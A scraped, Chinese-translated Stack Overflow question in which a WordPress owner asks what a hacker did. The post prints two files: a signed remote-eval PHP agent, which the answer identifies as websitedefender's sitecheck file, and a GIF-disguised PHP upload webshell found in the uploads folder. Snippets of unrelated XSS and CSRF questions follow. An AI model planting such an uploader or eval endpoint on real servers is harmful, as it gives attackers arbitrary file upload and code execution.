- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我在我的服务器上看到了高负载,并查看了 apache 服务器状态,并看到/2c1067813c6d8d0f28e13f0ce2c024fcbc17267b.php 的帖子占用了我 12% 的 CPU。我关闭了 apache,移动了文件,阻止了我的 htaccess 中的那个家伙,现在我想知道造成了什么损害。看起来该文件是 4 天前添加的
<?php
define('PAS_RES', 'twentycharacterhash');
define('PAS_REQ', 'anothertwentycharacterhash');
define('RSA_LEN', '256');
define('RSA_PUB', '65537');
define('RSA_MOD', '104794000726189251970535248702278838322004964525979459116994208185097637663513');
define('DEFLATE_RESPONSE_DATA', True);
header('Content-type: application/json');
error_reporting(0);
$version=2;$requestId='0';$jsonRPCVer='2.0';
if(!function_exists('property_exists'))
{
function property_exists($class, $property)
{
if(is_object($class))$vars=get_object_vars($class);
else $vars=get_class_vars($class);
return array_key_exists($property, $vars);
}
}
function senzorErrorHandler($errno, $errstr, $errfile, $errline)
{
switch ($errno)
{
case E_NOTICE:
case E_USER_NOTICE:
case E_WARNING:
case E_USER_WARNING:
return True;
case E_ERROR:
$code = 0;
break;
case E_USER_ERROR:
$code = 1;
break;
default:
$code = 2;
}
if(function_exists('json_encode'))
{
$message = "{$errstr} ({$errfile} Line: {$errline})";
$response = json_encode(array('jsonrpc' => $GLOBALS['jsonRPCVer'],'id'=>$GLOBALS['requestId'],'error'=>array('code'=>$code,'message'=> $message)));
}
else
{
$message = "{$errstr}";
$response = "{\"jsonrpc\":{$GLOBALS['jsonRPCVer']},\"id\":{$GLOBALS['requestId']},\"error\":{\"code\":{$code},\"message\":\"{$message}\"}}";
}
die($response);
}
set_error_handler("senzorErrorHandler");
if(!function_exists('json_encode'))
{
if (!file_exists("compat/json.php"))
trigger_error("#COMPAT-JSON#", E_USER_ERROR);
require_once("compat/json.php");
function json_encode($data)
{
$json = new Services_JSON();
return($json->encode($data));
}
}
if(!function_exists('json_decode'))
{
if(!file_exists("compat/json.php"))
trigger_error("#COMPAT-JSON#", E_USER_ERROR);
function json_decode($data)
{
$json = new Services_JSON();
return($json->decode($data));
}
}
if(function_exists('bcmod'))
define('BCMOD', true);
else
{
if(!file_exists("compat/array_fill.php")||!file_exists("compat/bcpowmod.php")||!file_exists("compat/biginteger.php"))
trigger_error("#COMPAT-BI#", E_USER_ERROR);
require_once("compat/array_fill.php");
require_once("compat/bcpowmod.php");
require_once("compat/biginteger.php");
}
function rsa_encrypt($message, $public_key, $modulus, $keylength, $notSigning = true)
{
$result = '';
$chunkLength = intval($keylength / 8) - 11;
for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
{
$padded = add_PKCS1_padding(substr($message, $i, $chunkLength), $notSigning, intval($keylength/8));
$number = binary_to_number($padded);
$encrypted = pow_mod($number, $public_key, $modulus);
$binary = number_to_binary($encrypted, intval($keylength/8));
$result .= $binary;
}
return $result;
}
function rsa_decrypt($message, $private_key, $modulus, $keylength)
{
$result = '';
$chunkLength = intval($keylength/8);
for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
{
$number = binary_to_number(substr($message, $i, $chunkLength));
$decrypted = pow_mod($number, $private_key, $modulus);
$presult = number_to_binary($decrypted, $chunkLength);
$pres = remove_PKCS1_padding($presult, $chunkLength);
if ($pres === FALSE)
return FALSE;
$result .= $pres;
}
return $result;
}
function rsa_sign($message, $private_key, $modulus, $keylength)
{
return rsa_encrypt($message, $private_key, $modulus, $keylength, false);
}
function rsa_verify($message, $signature, $public_key, $modulus, $keylength)
{
$result = false;
$result = ($message==rsa_decrypt($signature, $public_key, $modulus, $keylength));
return $result;
}
function pow_mod($p, $q, $r)
{
if(defined('BCMOD'))
{
$factors = array();
$div = $q;
$power_of_two = 0;
while(bccomp($div, "0") == 1) //BCCOMP_LARGER
{
$rem = bcmod($div, 2);
$div = bcdiv($div, 2);
if($rem) array_push($factors, $power_of_two);
$power_of_two++;
}
$partial_results = array();
$part_res = $p;
$idx = 0;
foreach($factors as $factor)
{
while($idx < $factor)
{
$part_res = bcpow($part_res, "2");
$part_res = bcmod($part_res, $r);
$idx++;
}
array_push($partial_results, $part_res);
}
$result = "1";
foreach($partial_results as $part_res)
{
$result = bcmul($result, $part_res);
$result = bcmod($result, $r);
}
return $result;
}
//Math_BigInteger implementation
$p = new Math_BigInteger($p);
$q = new Math_BigInteger($q);
$r = new Math_BigInteger($r);
$x = $p->modPow($q, $r);
return $x->toString();
}
function add_PKCS1_padding($data, $isPublicKey, $blocksize)
{
$pad_length = $blocksize - 3 - strlen($data);
if($isPublicKey)
{
$block_type = "\x02";
$padding = "";
for($i = 0; $i < $pad_length; $i++)
$padding .= chr(mt_rand(1, 255));
}
else
{
$block_type = "\x01";
$padding = str_repeat("\xFF", $pad_length);
}
return "\x00" . $block_type . $padding . "\x00" . $data;
}
function remove_PKCS1_padding($data, $blocksize)
{
#bad data length
if(strlen($data) != $blocksize) return FALSE;
if(($data[0]!="\0") || ( ($data[1] != "\x01") && ($data[1] != "\x02") )) return FALSE;
#bad padding type
$offset = strpos($data, "\0", 1);
return substr($data, $offset + 1);
}
function binary_to_number($data)
{
if(defined('BCMOD'))
{
$base = "256";
$radix = "1";
$result = "0";
for($i = strlen($data) - 1; $i >= 0; $i--)
{
$digit = ord($data{$i});
$part_res = bcmul($digit, $radix);
$result = bcadd($result, $part_res);
$radix = bcmul($radix, $base);
}
return $result;
}
//Math_BigInteger implementation
$result = new Math_BigInteger();
$p = new Math_BigInteger("0x100", 16);
$m = new Math_BigInteger("0x01", 16);
for($i=strlen($data)-1; $i>=0; $i--)
{
if(defined('MATH_BIGINTEGER_MODE') && defined('MATH_BIGINTEGER_MODE_INTERNAL') && (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_INTERNAL))
{
$d = new Math_BigInteger();
$d->value = array(ord($data[$i]));
}
else $d = new Math_BigInteger(ord($data[$i]));
$d = $d->multiply($m);
$m = $m->multiply($p);
$result = $result->add($d);
}
return $result->toString();
}
function hex_to_binary($hex, $blocksize)
{
$result = '';
for($i = 0; $i < (strlen($hex) - 1); $i = $i + 2)
$result = $result . pack('H2', substr($hex, $i, 2));
$result = pack('H'.sprintf('%d',strlen($hex)), $hex);
return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
function number_to_binary($number, $blocksize)
{
if(defined('BCMOD'))
{
$base = "256";
$num = $number;
$result = "";
while($num > 0)
{
$mod = bcmod($num, $base);
$num = bcdiv($num, $base);
$result = chr($mod) . $result;
}
return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
//Math_BigInteger implementation
$result = "";
$num = new Math_BigInteger($number);
$zero = new Math_BigInteger();
$divider = new Math_BigInteger("0x100",16);
while($num->compare($zero) > 0)
{
list($num, $remainder) = $num->divide($divider);
$add = $remainder->toBytes();
if($add == '') $add = "\0";
$result = $add . $result;
}
return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
function rsa_sign_b64($message, $private_key, $modulus, $keylength)
{
return base64_encode(rsa_sign($message, $private_key, $modulus, $keylength));
}
function rsa_verify_b64($message, $signature, $public_key, $modulus, $keylength)
{
return rsa_verify($message, base64_decode($signature), $public_key, $modulus, $keylength);
}
function rsa_encrypt_b64($message, $public_key, $modulus, $keylength)
{
return base64_encode(rsa_encrypt($message, $public_key, $modulus, $keylength));
}
function rsa_decrypt_b64($message, $private_key, $modulus, $keylength)
{
return rsa_decrypt(base64_decode($message), $private_key, $modulus, $keylength);
}
function get_rnd_iv($iv_len)
{
$iv = '';
while ($iv_len-- > 0) $iv .= chr(mt_rand(1, 255));
return $iv;
}
function md5_encrypt($plain_text, $password, $iv_len = 16)
{
$plain_text .= "\x13";
$n = strlen($plain_text);
if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
$i = 0;
$enc_text = get_rnd_iv($iv_len);
$iv = substr($password ^ $enc_text, 0, 512);
while ($i < $n)
{
$block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
$enc_text .= $block;
$iv = substr($block . $iv, 0, 512) ^ $password;
$i += 16;
}
return base64_encode($enc_text);
}
function md5_decrypt($enc_text, $password, $iv_len = 16)
{
$enc_text = base64_decode($enc_text);
$n = strlen($enc_text);
$i = $iv_len;
$plain_text = '';
$iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
while ($i < $n)
{
$block = substr($enc_text, $i, 16);
$plain_text .= $block ^ pack('H*', md5($iv));
$iv = substr($block . $iv, 0, 512) ^ $password;
$i += 16;
}
return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}
function handleRequest($request = '')
{
if((!is_string($request))||($request==''))trigger_error("#REQUEST-EMPTY#", E_USER_ERROR);
$request = json_decode($request);
if(!is_object($request))trigger_error("#REQUEST-JSON#", E_USER_ERROR);
if( (!property_exists($request, 'jsonrpc')) ||
(!property_exists($request, 'id')) ||
(!property_exists($request, 'method')) ||
(!property_exists($request, 'params')))trigger_error("#REQUEST-JSRPC#", E_USER_ERROR);
$GLOBALS['requestId']=$request->id;
if(floatval($request->jsonrpc) != 2.0) trigger_error("#REQUEST-VERSION#", E_USER_ERROR);
$GLOBALS['jsonRPCVer']=$request->jsonrpc;
if(!property_exists($request, 'sign'))trigger_error("#REQUEST-SIG#", E_USER_ERROR);
if(property_exists($request, 'enc'))$request->params = md5_decrypt($request->params, PAS_REQ);
if(property_exists($request, 'def'))
{
if(!function_exists('gzuncompress')) trigger_error("#COMPAT-ZLIB#", E_USER_ERROR);
$request->params = gzuncompress($request->params);
}
if(!rsa_verify_b64(sha1($request->params), $request->sign, RSA_PUB, RSA_MOD, RSA_LEN))trigger_error("#REQUEST-SIG#", E_USER_ERROR);
if($request->method != "execute")trigger_error("#REQUEST-METHOD#", E_USER_ERROR);
$result = NULL;
$success = @eval('?>'.$request->params);
if($success === FALSE) trigger_error("#REQUEST-PROCESSING#", E_USER_ERROR);
$result = json_encode($result);
$response = array ('jsonrpc' => $GLOBALS['jsonRPCVer'], 'id' => $request->id);
if(function_exists('gzcompress') && DEFLATE_RESPONSE_DATA && (strlen($result) > 100))
{
$response['def'] = true;
$result = gzcompress($result, 6);
}
$result = md5_encrypt($result, PAS_RES);
$response['enc'] = true;
$response['result'] = $result;
return json_encode($response);
}
if (($_SERVER['REQUEST_METHOD'] == 'POST')&&(!empty($_SERVER['CONTENT_TYPE']))&&(preg_match('/^application\/json/i', $_SERVER['CONTENT_TYPE'])))
echo handleRequest(file_get_contents('php://input'));
我在服务器根目录中创建了一个文件
410.php
<?php header('HTTP/1.0 410 Gone'); ?>
并在我的 .htaccess apache 文件中添加
RewriteEngine On
RewriteBase /
RewriteCond %{REMOTE_ADDR} ^188.138.56.125 [OR]
RewriteCond %{REMOTE_ADDR} ^188.138.56.125
RewriteRule ^.*$ 410.php [L]
我还注意到在我的 wp-content/uploads 文件夹中有一个包含内容的 somehash.php 文件
GIF89a^A^@^A^@<80>^@^@<FF><FF><FF>^@^@^@!<F9>^D^A^@^@^@^@,^@^@^@^@^A^@^A^@^@^B^BD^A^@;^@<?php $f=preg_replace('/(.*wp-content).*/i','\1',di
rname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);ech
o "14qhpo"; ?>^@;
其中有一个具有 777 权限的目录,其中包含我的 WordPress 文件,我也将其删除。
我将在干净的目录中使用新数据和插件重新安装我的 WordPress,但是如何再次防止这种情况发生,或者更好地监控它?黑客做了什么?我该如何预防/修复造成的损害?
我看到其他人也有同样的黑客行为 http://pastebin.com/k5HUythK
编辑 11/23
奇怪的是,我认为我粘贴的第一个代码可能是我刚刚安装的 websitedefender.com 插件,因为现在它向我发送“代理没有响应”的电子邮件,http://wordpress.org/extend/plugins/wp-security-scan/ , http://wordpress.org/extend/plugins/websitedefender-wordpress-security/
我本以为如果该文件是合法的,他们会注释该文件
最佳答案
没有什么可担心的(至少对于这个问题),因为该文件和代码是标准的 websitedefender.com sitecheck 文件。我猜您已将其上传到您的网站并忘记了?
关于wordpress - 我的 WordPress 被黑客攻击了,但是黑客做了什么以及我该如何预防/修复所造成的损害,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8250319/
我已经能够通过 bean:write 消息中的 filter="true"组合以及我正在使用的标签库中使用 StringEscapeUtils.escapeHtml4(string) 来防止 stru
有什么办法可以防止 magento 中的 xss 攻击?在我的本地主机中,我只是想检查如何防止 xss 攻击,例如我在用户在 magento 中注册时插入脚本,在名称字段中插入整个脚本时我感到震惊我已
我是 Laravel 的新手,我正在学习它。 我们在 laravel 中做了什么来防止 sql 注入(inject)??什么是依赖注入(inject)以及我们如何防止这种情况发生? 提前致谢 最佳答案
最近我被嵌入式系统上的堆溢出困扰了好几次。 这通常是由于写入堆上声明的数组超过了数组的大小,这必须超过其他堆声明的变量,然后导致非常未定义的行为 - 使得根本原因难以追踪。 是否有任何方法可以检测/防
有一个 Node.js 项目可以清理数据,还有一个用于 JavaScript 的 OWASP 库可以处理清理以防止 XSS。 我一直在对这些库进行基准测试,它们非常密集,可能有点矫枉过正,我的应用程序
我的情况有点不同,我正在使用 CKEditor 进行编辑和显示,提交的字符串只会在 CKEditor 中显示,不会显示在其他任何地方。 我试过这个 XSS: alert("XSS")"> 我直接从后端
这个问题已经有答案了: How can I prevent a click on a '#' link from jumping to top of page? (25 个回答) 已关闭 5 年前。
通过对代码进行审查,可以轻松地识别和消除无效代码,但是,对于图像-未使用的图像仍会进入我们的版本控制。是否有任何组织图形内容的干净方法,以便网页和图像文件之间存在直接关联? 在我们当前的项目中,我们使
在我们的项目中,为了防止 XSS,我们添加了过滤器 (HttpServletFilter),它可以简单地转义 Json 中所有出现的“”(包装用户输入),例如: json = json.replace
我使用 Java JNI Gdal 。有一些服务器端应用程序构建在 JNI 绑定(bind)之上。如果 JNI 部分出现错误,整个 JVM 堆栈就会崩溃。 测试 C/C++ 库不包含会导致 JVM s
黑客通过 SQL 注入(inject)并运行虚假查询来攻击我的网站,如何防止他们需要帮助。 是否有任何防火墙可以防止黑客攻击等,或者我应该使用mysql_real_escape_string($_RE
我目前正在处理一个遗留的 ASP 项目,其中安全性现在已成为一个大问题。它不仅是不安全的加密方法(md5),而且我担心 SQL 注入(inject)问题。我还不太擅长注入(inject),而且我只尝试
我有兴趣了解如何在我的 ColdFusion 9 应用程序中防止跨站点请求伪造 (CSRF)。我在网上找到了一些教程,但似乎没有一个是全面的。我发现的最好的是:http://www.mollerus.
这个问题不太可能对任何 future 的访客有帮助;它只与一个较小的地理区域、一个特定的时间点或一个非常狭窄的情况相关,通常不适用于全世界的互联网受众。如需帮助使此问题更广泛适用,visit the
我们的应用程序面临 XSS 攻击的问题。我们通过对 GET 请求使用普通过滤器来防止这种情况发生。 我们正在使用 RESTEasy REST Web 服务调用我们的应用程序。我们的过滤器不会过滤表单
我已经读过带有 2 个参数的 open() 命令容易被注入(inject),而带有 3 个参数的 open() 命令不能被注入(inject)。 说我有一个目录,我的所有文件都有一个公共(public
你好, 我正在尝试使用 CKEditor(一个 javascript WYSIWYG 编辑器)防止输入字段中的 XSS 和不正确的 html。 我应该如何在服务器端过滤这些数据?我比较的两个选项是 P
我刚刚了解了 CSRF 预防的细节。在我们的应用程序中,所有“写入”请求都是使用 XHR 完成的。整个页面实际上并没有提交任何一个表单,一切都是通过 XHR 完成的。 对于这种情况,维基百科建议 Co
据我所知,CSRF 预防似乎侧重于 (1) 使 GET 请求无副作用,以及 (2) 仅使用带有 CSRF token 的 POST 请求来更改状态。但在我看来,这假设攻击者的唯一目标可能是恶意更新受害
已关闭。此问题不符合Stack Overflow guidelines 。目前不接受答案。 已关闭 9 年前。 要求我们推荐或查找工具、库或最喜欢的场外资源的问题对于 Stack Overflow 来
我是一名优秀的程序员,十分优秀!